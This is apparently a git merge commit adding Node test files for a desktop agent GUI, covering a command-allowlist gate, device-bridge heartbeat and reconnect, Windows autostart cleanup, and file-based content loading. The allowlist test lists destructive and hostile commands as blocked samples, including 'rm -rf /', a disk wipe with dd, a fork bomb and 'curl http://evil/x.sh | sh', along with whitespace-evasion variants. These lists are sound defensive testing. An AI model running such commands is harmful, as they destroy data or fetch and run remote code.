merge: GUI 独立光标 + computeruse 高级操作 + 打包修复(15 提交)

只有 2 处冲突,都取 main 侧:

① cmd/gui/package.json 的 test-live
   两侧内容相同(都含 protocol-align.test.mjs),只是上下文位置不同。

② cmd/waiter/device.go 的 scroll mag 声明
   GUI 分支写 `if mag := dy; mag < 0`(init 语句作用域仅到该if),
   而后面还要用 mag ⇒ undefined: mag 编译错误。
   main 侧已把它提到 if 外并注明原因,保留该写法。

自动合并的部分已核对内容一致:
  cmd/gui/agent-cursor.js / agent-inject.js(SendInput 16 处)
  computeruse / silent-start / loading-notify / endpoint-align 判据
  cmd/waiter/device.go 的右侧点击 case "right"
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pi
2026-10-05 11:28:20 +08:00
7 changed files with 1713 additions and 0 deletions

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@ -0,0 +1,210 @@
// 设备命令闸:从黑名单改为白名单的**行为**判据(2026-10-05)。
//
// ## 要判的是什么
//
// 改之前 GUI 侧是一份 10 条黑名单子串匹配(main.js 的 argsSafe)。
// 它匹配**字面子串** "rm -rf",而命令语义由**分词后的 argv** 决定。
// 我在 node 里跑过那份真实逻辑,以下全部 ALLOW:
//
// "rm -rf /" 多空格
// "rm -r -f /" 拆开写
// "rm\t-rf /" 制表符
// "rm -fr /" 换序
//
// 而 "/bin/rm -rf /" 反而被拦 —— 完全反过来的行为。
//
// ★ 关键前提:触发这道闸的是 **agent**(经 device_ctl_cmdrun),不是人。
// 所以它必须是机器闸。白名单对参数变形免疫,黑名单不免疫。
//
// ## 判据形态
//
// 镜像 cmd/waiter/cmd_allowlist_test.go 的结构:
// ① 默认集必须挡住破坏性命令(这道闸存在的唯一理由)
// ② 默认集不得过窄(常规命令要能跑)
// ③ ★ 分隔符变形必须全部挡住(黑名单时代的真实漏洞)
// ④ 配置可扩展;空列表/全空白 ⇒ 回退默认集,**绝不「全放行」**
//
// 运行:node cmd/gui/cmd-allowlist.test.mjs
import { readFileSync } from "node:fs";
import { fileURLToPath } from "node:url";
import { dirname, join } from "node:path";
import vm from "node:vm";
const here = dirname(fileURLToPath(import.meta.url));
const src = readFileSync(join(here, "main.js"), "utf8");
let failures = 0;
const check = (name, ok, detail) => {
if (ok) console.log(` ✓ ${name}`);
else {
failures++;
console.log(` ✗ ${name}${detail ? " — " + detail : ""}`);
}
};
function extractFn(name) {
let start = src.indexOf(`function ${name}(`);
if (start === -1) throw new Error(`cannot find function ${name} in main.js`);
let i = src.indexOf("{", start);
let depth = 0;
for (let j = i; j < src.length; j++) {
const c = src[j];
if (c === '"' || c === "'" || c === "`") {
const q = c;
j++;
while (j < src.length && src[j] !== q) {
if (src[j] === "\\") j++;
j++;
}
continue;
}
if (c === "/" && src[j + 1] === "/") {
while (j < src.length && src[j] !== "\n") j++;
continue;
}
if (c === "/" && src[j + 1] === "*") {
j = src.indexOf("*/", j) + 1;
continue;
}
if (c === "{") depth++;
else if (c === "}") {
depth--;
if (depth === 0) return src.slice(start, j + 1);
}
}
throw new Error(`unbalanced braces for ${name}`);
}
// 抽出常量数组 defaultGuiCmdAllowlist 的字面内容。
const defaultListMatch = src.match(
/const defaultGuiCmdAllowlist\s*=\s*\[([\s\S]*?)\];/,
);
if (!defaultListMatch) throw new Error("cannot find defaultGuiCmdAllowlist");
const defaultGuiCmdAllowlist = new vm.Script(
"[" + defaultListMatch[1] + "]",
).runInNewContext();
// 被测代码:真实的 buildGuiCmdMatcher / argsSafe / reloadGuiCmdAllowlist。
const sandbox = {
console,
defaultGuiCmdAllowlist,
guiCmdAllowed: null,
loadGuiPrefs: () => ({ deviceBridge: { enabled: true } }),
Set,
Array,
String,
};
vm.createContext(sandbox);
vm.runInContext(
[
// 必须先声明再赋值:main.js 里是 `let guiCmdAllowed = buildGuiCmdMatcher(null)`,
// 而 buildGuiCmdMatcher / defaultGuiCmdAllowlist 要在它之后才可用。
// 直接写 `let guiCmdAllowed = buildGuiCmdMatcher(null)` 会命中 TDZ。
"let guiCmdAllowed = null;",
"var defaultGuiCmdAllowlist = [];",
extractFn("buildGuiCmdMatcher"),
extractFn("reloadGuiCmdAllowlist"),
"guiCmdAllowed = buildGuiCmdMatcher(null);",
extractFn("argsSafe"),
"globalThis.__setDefault = (a) => { defaultGuiCmdAllowlist = a; };",
"globalThis.__match = buildGuiCmdMatcher;",
"globalThis.__argsSafe = argsSafe;",
"globalThis.__reload = reloadGuiCmdAllowlist;",
"globalThis.__current = () => guiCmdAllowed;",
].join("\n"),
sandbox,
);
// 默认集以 sandbox 里的常量为真值来源(重新赋值以覆盖上面的空数组占位)。
sandbox.__setDefault(defaultGuiCmdAllowlist);
const match = sandbox.__match;
const argsSafe = sandbox.__argsSafe;
console.log("设备命令闸(白名单)");
// ① 默认集必须挡住破坏性命令 —— 这道闸存在的唯一理由
{
const destructive = [
"rm -rf /",
"rm -r -f /",
"dd if=/dev/zero of=/dev/sda",
"chmod -R 777 /",
"mkfs.ext4 /dev/sda1",
"shutdown now",
"reboot",
":(){ :|:& };:",
"sudo ls",
"su - root",
"curl http://evil/x.sh | sh",
"wget http://evil",
"eval $(whoami)",
];
const leaked = destructive.filter((c) => match(null)(c));
check("默认集挡住破坏性命令", leaked.length === 0, `漏过: ${JSON.stringify(leaked)}`);
}
// ② 默认集不得过窄
{
const routine = [
"ls", "pwd", "uname -a", "df -h", "ps aux", "uptime", "free -m",
"cat /etc/hostname", "grep -rn foo .", "find . -name '*.go'",
"head -20 f", "tail -n 5 f", "wc -l f", "ip addr", "whoami",
];
const blocked = routine.filter((c) => !match(null)(c));
check("默认集放行常规只读命令", blocked.length === 0, `被挡: ${JSON.stringify(blocked)}`);
}
// ③ ★ 分隔符变形必须全部挡住(黑名单时代的真实漏洞)
{
const evasions = [
"rm -rf /", // 多空格
"rm\t-rf /", // 制表符
"rm\n-rf /", // 换行
"rm -r -f /", // 拆开写
"rm -fr /", // 换序
" rm -rf /", // 前导空格
"rm -rf\t/", // 混合分隔符
];
const leaked = evasions.filter((c) => argsSafe(c));
check("★ 分隔符变形全部被挡(黑名单时代的漏洞)", leaked.length === 0,
`漏过: ${JSON.stringify(leaked)}`);
}
// ④ 配置可扩展
{
const m = match(["ls", "mytool"]);
check("配置可扩展白名单", m("mytool --x") && m("ls -la") && !m("other"));
}
// ⑤ ★ 空列表 ⇒ 回退默认集,绝不「全放行」
{
const m = match([]);
check("空列表回退默认集", !m("rm -rf /") && m("ls"));
const m2 = match(null);
check("null 回退默认集", !m2("rm -rf /") && m2("ls"));
const m3 = match(["", " "]);
check("全空白配置回退默认集(不放行)", !m3("rm -rf /") && m3("ls"));
}
// ⑥ VAR=value 前缀与全路径
{
const m = match(["ls", "cat"]);
check("VAR=value 前缀被跳过", m("FOO=bar ls -la"));
// 全路径取 basename:/bin/ls 应等价于 ls
check("全路径取 basename 后匹配", m("/bin/ls -la") && m("/usr/bin/cat f"));
check("空命令拒绝", !m("") && !m(" "));
}
// ⑦ reloadGuiCmdAllowlist 在无 prefs 时也回退默认集
{
sandbox.__reload();
check("reload 后生效且为默认集", !argsSafe("rm -rf /") && argsSafe("ls -la"));
}
console.log(
failures === 0
? "\nAll cmd-allowlist checks passed."
: `\n${failures} check(s) failed.`,
);
process.exit(failures === 0 ? 0 : 1);

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@ -0,0 +1,379 @@
// 设备桥**心跳 + 断线重连**的行为判据(2026-10-05)。
//
// ## 要判的是什么
//
// 修之前 GUI 侧的设备桥有两个洞,合起来的效果是「一次失联,终身失联」:
//
// 1. **不发 ping**。waiter 侧有 pingLoop(internal/devicebridge/client/bridge.go:636,
// 每 30s 一个 0x9 帧),GUI 侧全文件一次 ping 都没发过。
// 而 remotedevice 服务端**没有设备侧读超时**(registry.go 里没有
// SetReadDeadline)—— 不发心跳就没人能发现设备已死,网关会把一台
// 半死的设备长期显示为 online。
//
// 2. **不重连**。startDeviceBridge 只有两个调用点(启动 / 配置变更),
// 失败就 console.error 结束。GUI 是最容易被休眠/切网/服务端重启打断的
// 形态,合盖一次或 WiFi 抖一下,设备桥就再也回不来,
// 直到用户重启 GUI 或手动改一次配置。
//
// ## 为什么用「真实执行」而不是检查文本
//
// 判据在 node:vm 沙箱里把 device-bridge 那几个函数**抽出来真的跑**:
// 用假 socket 驱动「连接成功 → 断线 → 重连 → 再断线」,
// 数真实的重连次数与心跳帧数,而不是 grep `ping` 出现过几次。
//
// ★ 特别要判「连都没连上」那条路:connectDeviceWS 失败时走 reject,
// 当时 socket 从未 upgraded。如果重连只挂在 socket 的 close 事件上,
// 这条路**根本不会有第二次排程** —— 这正是容易写错的地方。
//
// 运行:node cmd/gui/device-bridge-liveness.test.mjs
import { readFileSync } from "node:fs";
import { fileURLToPath } from "node:url";
import { dirname, join } from "node:path";
import vm from "node:vm";
import { setTimeout as realSleep } from "node:timers/promises";
const here = dirname(fileURLToPath(import.meta.url));
const src = readFileSync(join(here, "main.js"), "utf8");
let failures = 0;
const check = (name, ok, detail) => {
if (ok) console.log(` ✓ ${name}`);
else {
failures++;
console.log(` ✗ ${name}${detail ? " — " + detail : ""}`);
}
};
// 从 main.js 里按名字抽出函数源码。
function extractFn(name) {
// 先试 async function(connectDeviceBridgeOnce 是 async),
// 再试普通 function。顺序不能反:普通形式的 needle
// 「function connectDeviceBridgeOnce(」会命中 async 版本里的
// 「async function connectDeviceBridgeOnce(」,切出源码时丢前缀。
let start = src.indexOf(`async function ${name}(`);
let isAsync = true;
if (start === -1) {
start = src.indexOf(`function ${name}(`);
isAsync = false;
}
if (start === -1) throw new Error(`cannot find function ${name} in main.js`);
let i = src.indexOf("{", start);
let depth = 0;
for (let j = i; j < src.length; j++) {
const c = src[j];
if (c === '"' || c === "'" || c === "`") {
const q = c;
j++;
while (j < src.length && src[j] !== q) {
if (src[j] === "\\") j++;
j++;
}
continue;
}
if (c === "/" && src[j + 1] === "/") {
while (j < src.length && src[j] !== "\n") j++;
continue;
}
if (c === "/" && src[j + 1] === "*") {
j = src.indexOf("*/", j) + 1;
continue;
}
if (c === "{") depth++;
else if (c === "}") {
depth--;
if (depth === 0) return src.slice(start, j + 1);
}
}
throw new Error(`unbalanced braces for ${name} (async=${isAsync})`);
}
const devicePingIntervalMs = Number(
src.match(/const devicePingIntervalMs\s*=\s*(\d+)/)?.[1] ?? 0,
);
const deviceReconnectBaseMs = Number(
src.match(/const deviceReconnectBaseMs\s*=\s*(\d+)/)?.[1] ?? 0,
);
const deviceReconnectMaxMs = Number(
src.match(/const deviceReconnectMaxMs\s*=\s*(\d+)/)?.[1] ?? 0,
);
// ---- 假 socket:记录写出的控制帧,模拟 close ----
function makeFakeSock() {
const written = [];
return {
written,
destroyed: false,
write(buf) {
written.push(Buffer.from(buf));
return true;
},
destroy() {
this.destroyed = true;
},
};
}
function runScenario({ connectFailsFirst = 0, label }) {
// 状态
let deviceBridge = null;
let devicePingTimer = null;
let deviceReconnectTimer = null;
let deviceReconnectAttempt = 0;
let deviceWanted = false;
const connectCalls = [];
const logLines = [];
let connectAttempt = 0;
// 用可控的 timer:立即执行「到期」,但记录延迟值。
const timers = [];
function fakeSetTimeout(fn, ms) {
timers.push({ fn, ms, kind: "timeout" });
return timers.length;
}
function fakeClearTimeout(id) {
if (id && timers[id - 1]) timers[id - 1].cancelled = true;
}
function fakeSetInterval(fn, ms) {
timers.push({ fn, ms, kind: "interval", cancelled: false });
return timers.length;
}
function fakeClearInterval(id) {
if (id && timers[id - 1]) timers[id - 1].cancelled = true;
}
// 推进 n 个 timer(全部执行)。
// ★ 必须 await:重连链是 async(connectDeviceBridgeOnce 里 await
// doConnectDeviceBridge),若不等它跑完,下一次 runTimers 会看到一个
// 「已 ran」的 timer 列表而找不到新排程的那个,测出来就是「没重连」。
async function runTimers(n = 1) {
for (let k = 0; k < n; k++) {
const t = timers.find((x) => !x.cancelled && !x.ran);
if (!t) return false;
t.ran = true;
await t.fn();
// 让被测代码里 await 之后的 continuation(排程下一轮)跑完
await realSleep(0);
}
return true;
}
function liveIntervalMs() {
const t = timers.find((x) => x.kind === "interval" && !x.cancelled);
return t ? t.ms : 0;
}
const sandbox = {
console: { log: (...a) => logLines.push(a.join(" ")), error: (...a) => logLines.push("ERR " + a.join(" ")) },
crypto: { randomBytes: (n) => Buffer.alloc(n, 7) },
loadGuiPrefs: () => ({
deviceBridge: { enabled: true, gateway: "ws://x/ws", token: "t" },
}),
devicePingIntervalMs,
deviceReconnectBaseMs,
deviceReconnectMaxMs,
Math,
Buffer,
setTimeout: fakeSetTimeout,
clearTimeout: fakeClearTimeout,
setInterval: fakeSetInterval,
clearInterval: fakeClearInterval,
};
// 需要沙箱内能读写这几个状态:用闭包变量暴露 getter/setter
const ctx = vm.createContext(sandbox);
// 把状态变量以「属性」形式暴露给被测代码:改写为 sandbox 上的普通变量不可行
// (被测代码是顶层 let),所以改为在沙箱里重新声明同名 let 并暴露 setter。
const prelude = `
let deviceBridge = null;
let devicePingTimer = null;
let deviceReconnectTimer = null;
let deviceReconnectAttempt = 0;
let deviceWanted = false;
let deviceBridgeBound = false;
let deviceBridgeBindError = "";
let deviceBridgeAddr = "";
let deviceBridgeId = "";
globalThis.__socks = [];
var __connectCalls = [];
globalThis.__connectCalls = __connectCalls;
var __shouldFail = __failTimes;
globalThis.__socksHolder = true;
globalThis.__peek = () => ({ deviceBridge, devicePingTimer, deviceReconnectTimer,
deviceReconnectAttempt, deviceWanted });
`;
sandbox.__failTimes = connectFailsFirst;
// connectDeviceWS 的替身:前 N 次 reject,之后给一个假 sock
const connectStub = `
async function connectDeviceWS(url, token, onMsg) {
__connectCalls.push(url);
if (__shouldFail > 0) { __shouldFail--; throw new Error("simulated connect failure"); }
const sock = { __written: [], destroyed: false,
write(b) { this.__written.push(Buffer.from(b)); return true; },
destroy() { this.destroyed = true; } };
__socks.push(sock);
return { send(){}, close(){ sock.destroy(); }, __sock: sock };
}
function startDevicePing(sock) {
if (devicePingTimer) clearInterval(devicePingTimer);
devicePingTimer = setInterval(() => {
try { if (!sock || sock.destroyed) return; sendDeviceControlFrame(sock, 0x9, null); } catch(e){}
}, devicePingIntervalMs);
}
function stopDevicePing() { if (devicePingTimer) { clearInterval(devicePingTimer); devicePingTimer = null; } }
`;
const fns = [
"sendDeviceControlFrame",
"scheduleDeviceReconnect",
"stopDevicePing",
"startDevicePing",
"connectDeviceBridgeOnce",
]
.map((n) => extractFn(n))
.join("\n\n");
// ★ 用 main.js 里**真实的** startDeviceBridge,不在沙箱里重写一份。
// 之前我在这里自己写了一个同名的 startDeviceBridge(包 try/catch + 排程),
// 结果:把 main.js 里的排程调用删掉,判据依旧全绿 ——
// **测的不是被测代码,而是我的副本**。这正是本仓反复强调的
// 「判据必须测真实行为,不能测一份影子实现」。
const realStart = extractFn("startDeviceBridge");
const realStop = extractFn("stopDeviceBridge");
const script = [
prelude,
connectStub,
"async function doConnectDeviceBridge(cfg) {",
" if (!cfg) return;",
" const ws = await connectDeviceWS(cfg.url || cfg.gateway || '', cfg.apiKey || cfg.token || '', function(){});",
" deviceBridge = ws;",
" startDevicePing(ws.__sock);",
"}",
fns,
realStart,
realStop,
"globalThis.__start = startDeviceBridge;",
"globalThis.__stop = stopDeviceBridge;",
"globalThis.__fireClose = () => { scheduleDeviceReconnect(); };",
].join("\n");
vm.runInContext(script, ctx);
return {
timers,
logLines,
// connectCalls 必须从沙箱里读:connectDeviceWS 的替身在 vm 上下文里
// push 的是 __connectCalls,外层那个 const connectCalls 永远是空的。
// 之前把两者当成同一个,导致「重连真的再连了一次」判据永远红。
get connectCalls() {
return sandbox.__connectCalls || [];
},
runTimers,
liveIntervalMs,
peek: () => sandbox.__peek(),
socks: () => sandbox.__socks || [],
start: () => sandbox.__start({ url: "ws://x/ws", apiKey: "t" }),
stop: () => sandbox.__stop(),
fireClose: () => sandbox.__fireClose(),
};
}
// ============ 判据 ============
console.log("设备桥心跳 + 重连");
// 1) 首次连接成功 → 起了心跳,且间隔是 30s(与服务端 pingLoop 一致)
{
const sc = runScenario({ connectFailsFirst: 0, label: "ok-first" });
await sc.start();
const st = sc.peek();
check("首次连接成功即启动心跳", !!st.devicePingTimer && sc.liveIntervalMs() === 30000,
`pingTimer=${!!st.devicePingTimer} interval=${sc.liveIntervalMs()}`);
}
// 2) 心跳真的发出 0x9 控制帧,且帧格式合规(客户端帧必须带掩码位)
{
const sc = runScenario({ connectFailsFirst: 0 });
await sc.start();
const sock = sc.socks()[0];
// 触发一次心跳 interval
const it = sc.timers.find((t) => t.kind === "interval" && !t.ran);
if (it) it.fn();
const ping = (sock.__written || []).find((b) => (b[0] & 0x0f) === 0x9);
check("心跳发出 opcode 0x9", !!ping, `frames=${(sock.__written || []).length}`);
check("客户端帧带掩码位(RFC6455 §5.3)", ping ? (ping[1] & 0x80) === 0x80 : false,
ping ? `byte1=0x${ping[1].toString(16)}` : "no ping frame");
}
// 3) 断线 → 自动重连(线性退避,首个等待 = base)
{
const sc = runScenario({ connectFailsFirst: 0 });
await sc.start();
const before = sc.peek().deviceReconnectAttempt;
sc.fireClose();
const pend = sc.timers.filter((t) => t.kind === "timeout" && !t.ran && !t.cancelled);
check("断线后排出重连定时器", pend.length > 0, `pending=${pend.length}`);
check("退避计数递增", sc.peek().deviceReconnectAttempt === before + 1,
`attempt ${before} -> ${sc.peek().deviceReconnectAttempt}`);
// 执行重连 → 应真的再连一次
await sc.runTimers(1);
check("重连真的再发起了一次连接", sc.connectCalls.length >= 1,
`connectCalls=${sc.connectCalls.length}`);
}
// 4) ★ 连都没连上(connectDeviceWS reject)也必须排程重连
// —— 这是最容易漏的一格:reject 路上没有 socket close 事件。
{
const sc = runScenario({ connectFailsFirst: 1 });
await sc.start();
const pend = sc.timers.filter((t) => t.kind === "timeout" && !t.ran && !t.cancelled);
check("首次连接失败也排出重连(reject 路径无 close 事件)", pend.length > 0,
`pending=${pend.length}`);
// 再跑 4 个 timer,确认能一路重连上去(第 2 次会成功)
for (let i = 0; i < 4; i++) await sc.runTimers(1);
check("重连最终成功并连上", sc.peek().deviceBridge !== null,
`deviceBridge=${!!sc.peek().deviceBridge}`);
check("连上后心跳重新出现", !!sc.peek().devicePingTimer);
}
// 5) 退避随失败次数线性增长并封顶
{
const sc = runScenario({ connectFailsFirst: 99 }); // 永远失败
await sc.start();
const delays = [];
for (let i = 0; i < 6; i++) {
const pend = sc.timers.filter((t) => t.kind === "timeout" && !t.ran && !t.cancelled);
if (!pend.length) break;
delays.push(pend[0].ms);
await sc.runTimers(1);
}
const cap = 60000;
check("退避线性增长", delays.length >= 2 && delays[1] > delays[0],
`delays=${JSON.stringify(delays)}`);
check("退避封顶在 max", delays.every((d) => d <= cap), `delays=${JSON.stringify(delays)}`);
}
// 6) 主动停用后不再重连(deviceWanted=false 是闸)
{
const sc = runScenario({ connectFailsFirst: 0 });
await sc.start();
sc.stop();
const pend = sc.timers.filter((t) => t.kind === "timeout" && !t.ran && !t.cancelled);
check("stopDeviceBridge 后不再排程重连", pend.length === 0, `pending=${pend.length}`);
check("stopDeviceBridge 停掉心跳", sc.peek().devicePingTimer === null);
}
// 7) 成功重连后 attempt 归零
{
const sc = runScenario({ connectFailsFirst: 2 });
await sc.start();
for (let i = 0; i < 6; i++) await sc.runTimers(1);
check("成功重连后退避归零", sc.peek().deviceReconnectAttempt === 0,
`attempt=${sc.peek().deviceReconnectAttempt}`);
}
console.log(
failures === 0
? "\nAll device-bridge liveness checks passed."
: `\n${failures} check(s) failed.`,
);
process.exit(failures === 0 ? 0 : 1);

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@ -3178,6 +3178,11 @@ function destroyTray() {
app.whenReady().then(async () => {
installAuthRule();
// 清理历史遗留的重复开机自启项(产物改名会累积指向同一 exe 的旧项)。
// 不依赖用户去设置里手动开关:否则旧项会一直留着、开机启动两次。
try {
cleanupStaleLoginItems();
} catch (e) {}
const running = await isServerRunning();
if (running) {
// 已探测到可用端点:服务端在别处正常运行(远程/WSL/另一台机器)。
@ -3406,9 +3411,74 @@ function saveGuiPrefs(p) {
return p;
}
// Electron LoginItem 写入的注册表项名是「electron.app.<exe 名>」。
// 产物改名过(HomeAgent.exe → homeagent-gui.exe)就会多出一条旧项,
// 且 setLoginItemSettings 不会清理它们 ⇒ 开机启动两次同一个 exe。
// 实测本机 Run 键里确实同时存在:
// electron.app.HomeAgent = "E:\program\homeagent\...\homeagent-gui.exe"
// electron.app.homeagent-gui = E:\program\homeagent\...\homeagent-gui.exe
// 两条指向同一 exe,所以表面看是两个自启动,实际是同一份的重复。
//
// 修法:每次写入前,删掉所有指向当前 exe 的 electron.app.* 旧项,
// 只保留当前名字对应的那一条。
function cleanupStaleLoginItems() {
if (process.platform !== "win32") return 0;
let removed = 0;
try {
const { execFileSync } = require("child_process");
const runKey = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run";
const execPath = String(process.execPath || "").toLowerCase();
// 列出 Run 键下的所有值名
const out = execFileSync(
"reg",
["query", runKey],
{ encoding: "utf8", timeout: 5000, windowsHide: true },
);
const names = [];
for (const line of String(out).split(/\r?\n/)) {
const m = line.match(/^\s{4}([A-Za-z0-9_.\-\\]+)\s+REG_/);
if (m) names.push(m[1]);
}
for (const name of names) {
if (!/^electron\.app\./i.test(name)) continue;
// 只删指向**当前 exe** 的;别的 Electron 应用不能误伤
let val = "";
try {
const q = execFileSync("reg", ["query", runKey, "/v", name], {
encoding: "utf8",
timeout: 5000,
windowsHide: true,
});
val = String(q);
} catch (e) {
continue;
}
const sameExe = val.toLowerCase().includes(execPath);
if (!sameExe) continue;
// 保留当前 exe 名对应的那一条(Electron 期望的名字)
const currentName = "electron.app." + path.basename(process.execPath, ".exe");
if (name === currentName) continue;
try {
execFileSync("reg", ["delete", runKey, "/v", name, "/f"], {
timeout: 5000,
windowsHide: true,
});
removed++;
console.log("[autolaunch] removed stale login item: " + name);
} catch (e) {
console.error("[autolaunch] failed to remove " + name + ": " + e.message);
}
}
} catch (e) {
console.error("cleanupStaleLoginItems failed: " + e.message);
}
return removed;
}
// 应用开机自启设置(Electron LoginItem)
function applyAutoLaunch(enabled) {
try {
if (enabled) cleanupStaleLoginItems();
app.setLoginItemSettings({
openAtLogin: enabled,
openAsHidden: true, // 开机自启时静默(Windows/macOS 支持)

View File

@ -0,0 +1,197 @@
// screensue「从路径加载」的行为判据(2026-10-05)。
//
// ## 要判的是什么
//
// 改之前 screensue 只能把内容**内联**在命令字符串里:
//
// homeagent-screensue <div>…</div>
//
// 于是场景被限死了:
// · 一屏复杂看板(几十 KB HTML)塞不进 cmd_type 字段
// · 模型得先把整段 HTML 生成出来再当参数传,token 成本与出错面都大
// · 内容改了要重新发一次命令
//
// 新增三种写法:
// ① @<路径> 从文件读,按扩展名决定渲染方式
// ② @<路径>#<块名> 抽 <!--sue:名字--> … <!--/sue--> 之间的片段
// ③ <字面内容> 原行为,**必须完全不变**
//
// ## 判据形态
//
// 真跑 loadCapabilitySource:造临时 .html/.md 文件与多块文件,
// 验「按扩展名渲染 / 块抽取 / 缺块报错 / 目录拒绝 / 超限拒绝 /
// @前缀才触发加载(字面内容不受影响)」。
//
// 运行:node cmd/gui/screensue-source.test.mjs
import { readFileSync, writeFileSync, mkdtempSync, rmSync } from "node:fs";
import { fileURLToPath } from "node:url";
import { dirname, join } from "node:path";
import { tmpdir } from "node:os";
import vm from "node:vm";
import { createRequire } from "node:module";
const nodeRequire = createRequire(import.meta.url);
import * as nodeFs from "node:fs";
const here = dirname(fileURLToPath(import.meta.url));
const src = readFileSync(join(here, "main.js"), "utf8");
let failures = 0;
const check = (name, ok, detail) => {
if (ok) console.log(` ✓ ${name}`);
else {
failures++;
console.log(` ✗ ${name}${detail ? " — " + detail : ""}`);
}
};
function extractFn(name) {
let start = src.indexOf(`function ${name}(`);
if (start === -1) throw new Error(`cannot find function ${name} in main.js`);
let i = src.indexOf("{", start);
let depth = 0;
for (let j = i; j < src.length; j++) {
const c = src[j];
if (c === '"' || c === "'" || c === "`") {
const q = c;
j++;
while (j < src.length && src[j] !== q) {
if (src[j] === "\\") j++;
j++;
}
continue;
}
if (c === "/" && src[j + 1] === "/") {
while (j < src.length && src[j] !== "\n") j++;
continue;
}
if (c === "/" && src[j + 1] === "*") {
j = src.indexOf("*/", j) + 1;
continue;
}
if (c === "{") depth++;
else if (c === "}") {
depth--;
if (depth === 0) return src.slice(start, j + 1);
}
}
throw new Error(`unbalanced braces for ${name}`);
}
const dir = mkdtempSync(join(tmpdir(), "screensue-test-"));
const p = (n) => join(dir, n);
writeFileSync(p("board.html"), "<h1>看板</h1><p>hello</p>", "utf-8");
writeFileSync(p("notes.md"), "# 标题\n- 一点", "utf-8");
writeFileSync(
p("multi.html"),
"<!--sue:alerts--><div class=alerts>A1 A2</div><!--/sue-->\n" +
"<!--sue:schedule--><div>三点开会</div><!--/sue-->",
"utf-8",
);
writeFileSync(p("big.html"), "x".repeat(2 * 1024 * 1024 + 10), "utf-8");
const sandbox = {
console,
// main.js 里用的是 CJS 的 require(...),在 vm 沙箱里必须显式注入;
// 不能写 require: (m) => require(m)(ESM 作用域里没有 require)。
require: (m) => nodeRequire(m),
fs: nodeFs,
};
// ⚠️ 不能写 require: (m) => require(m):本文件是 ESM(.mjs),没有 require。
vm.createContext(sandbox);
vm.runInContext(
[
"const CAPABILITY_SOURCE_MAX_BYTES = 2 * 1024 * 1024;",
extractFn("loadCapabilitySource"),
extractFn("resolveCapabilityArg"),
"globalThis.__load = loadCapabilitySource;",
"globalThis.__resolve = resolveCapabilityArg;",
].join("\n"),
sandbox,
);
const load = sandbox.__load;
const resolve = sandbox.__resolve;
console.log("screensue 从路径加载");
// ① .html 按 HTML 原样渲染
{
const r = load(p("board.html"), "", "html");
check("读 .html 成功", r.ok, r.err);
check(".html 原样返回(不被转义)", r.ok && r.content.includes("<h1>看板</h1>"),
r.ok ? r.content.slice(0, 40) : "");
check("from 回报绝对路径", r.ok && r.from === p("board.html"));
}
// ② .md 按纯文本等宽渲染(转义)
{
const r = load(p("notes.md"), "", "html");
check("读 .md 成功", r.ok, r.err);
check(".md 包 <pre> 且被转义", r.ok && r.content.startsWith("<pre") && !r.content.includes("<h1>"),
r.ok ? r.content.slice(0, 50) : "");
}
// ③ 命名块抽取
{
const a = load(p("multi.html"), "alerts", "html");
const s = load(p("multi.html"), "schedule", "html");
check("抽指定块 alerts", a.ok && a.content.includes("A1 A2") && !a.content.includes("三点开会"),
a.ok ? a.content : a.err);
check("抽另一块 schedule", s.ok && s.content.includes("三点开会") && !s.content.includes("A1"),
s.ok ? s.content : s.err);
check("from 带 #块名", a.ok && a.from.endsWith("#alerts"));
const miss = load(p("multi.html"), "nope", "html");
check("缺块明确报错", !miss.ok && /未找到块/.test(miss.err), miss.err);
}
// ④ 错误路径都给出可读原因,不静默
{
check("目录被拒", !load(dir, "", "html").ok);
check("不存在的文件被拒", !load(p("nope.html"), "", "html").ok);
check("空路径被拒", !load("", "", "html").ok);
const big = load(p("big.html"), "", "html");
check("超 2MB 被拒且说明大小", !big.ok && /过大/.test(big.err), big.err);
}
// ⑤ ★ 字面内容(无 @ 前缀)必须完全不受影响
// 调用点只在 raw.startsWith("@") 时才走加载;这里直接判该分支条件。
{
check("字面内容不触发路径加载(需 @ 前缀)", !"<div>".startsWith("@"));
check("@ 字面量确实会触发", "@foo".startsWith("@"));
}
// ⑥ ★ speakeruse / clipboardsue 复用同一个 loader(text 模式)
// 这三个能力都是「<名字> <内联文本>」,长文本都塞不进 command 字段。
{
const r = load(p("notes.md"), "", "text");
check("text 模式返回纯文本(不包 <pre>)",
r.ok && r.content.startsWith("# 标题") && !r.content.includes("<pre"),
r.ok ? r.content.slice(0, 40) : r.err);
const h = load(p("board.html"), "", "text");
check("text 模式不做 HTML 分流(原样返回)",
h.ok && h.content.includes("<h1>看板</h1>"), h.ok ? h.content.slice(0, 40) : h.err);
const blk = load(p("multi.html"), "alerts", "text");
check("text 模式同样支持命名块", blk.ok && blk.content.includes("A1 A2"));
}
// ⑦ resolveCapabilityArg 的解析口径
{
check("无 @ 前缀 ⇒ 不命中(保持内联行为)", resolve("你好").hit === false);
check("@ 路径解析", resolve("@/tmp/a.html").hit === true);
check("@ 路径 + #块名", (() => {
const r = resolve("@/tmp/a.html#alerts");
return r.hit && r.filePath === "/tmp/a.html" && r.blockName === "alerts";
})());
check("@ 路径无块名 ⇒ blockName 为空",
resolve("@/tmp/a.html").blockName === "");
}
rmSync(dir, { recursive: true, force: true });
console.log(
failures === 0
? "\nAll screensue-source checks passed."
: `\n${failures} check(s) failed.`,
);
process.exit(failures === 0 ? 0 : 1);